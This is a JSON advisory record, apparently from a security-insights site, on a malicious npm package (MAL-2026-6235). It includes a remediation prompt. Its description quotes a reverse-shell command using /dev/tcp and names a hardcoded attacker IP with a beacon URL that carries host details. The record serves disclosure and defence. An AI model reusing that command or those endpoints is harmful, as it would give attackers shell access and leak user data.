{"answers":{"affected":"1 open source package ship an affected version, including yianzzkf6687.","exploited":"There is no known exploitation of MAL-2026-6235 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6235 is a malicious package in yianzzkf6687, published on 20 Jun 2026."},"fix_prompt":"MAL-2026-6235 is a malicious package: yianzzkf6687 (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6235/ (Markdown: https://insights.sbomify.com/MAL-2026-6235/index.md)","id":"MAL-2026-6235","markdown":"https://insights.sbomify.com/MAL-2026-6235/index.md","name":"MAL-2026-6235","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On `npm install`, the postinstall hook (`scripts/postinstall.js`) detach-spawns `scripts/shell.js` with `detached: true, stdio: 'ignore', windowsHide: true` and `unref()`s it, so the malicious process persists silently after `npm install` returns. `scripts/shell.js` hardcodes `HOST = '114.67.90.67'` and opens reverse shells to that IP across multiple fallback ports (3334, 4444, 443, 80, 8080, 53) using Node `net`, `bash -c \"bash -i \u003e\u0026 /dev/tcp/\u003cHOST\u003e/\u003cport\u003e 0\u003e\u00261\"`, and a Python fallback, then uses `setInterval` to keep the process alive. It also sends an HTTP GET to `http://114.67.90.67:8333/ping` with the installer's hostname, username, cwd, and OS platform/release as query parameters, confirming victim acquisition. The package advertises itself as a string-manipulation utility, providing cover for the backdoor. Installing this package gives the operator of 114.67.90.67 interactive shell access on the installer's machine.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in yianzzkf6687 (npm)","id":"MAL-2026-6235","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"yianzzkf6687","purl":"pkg:npm/yianzzkf6687","source":"MAL-2026-6235"}],"products":null,"published":"2026-06-20","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6235/"}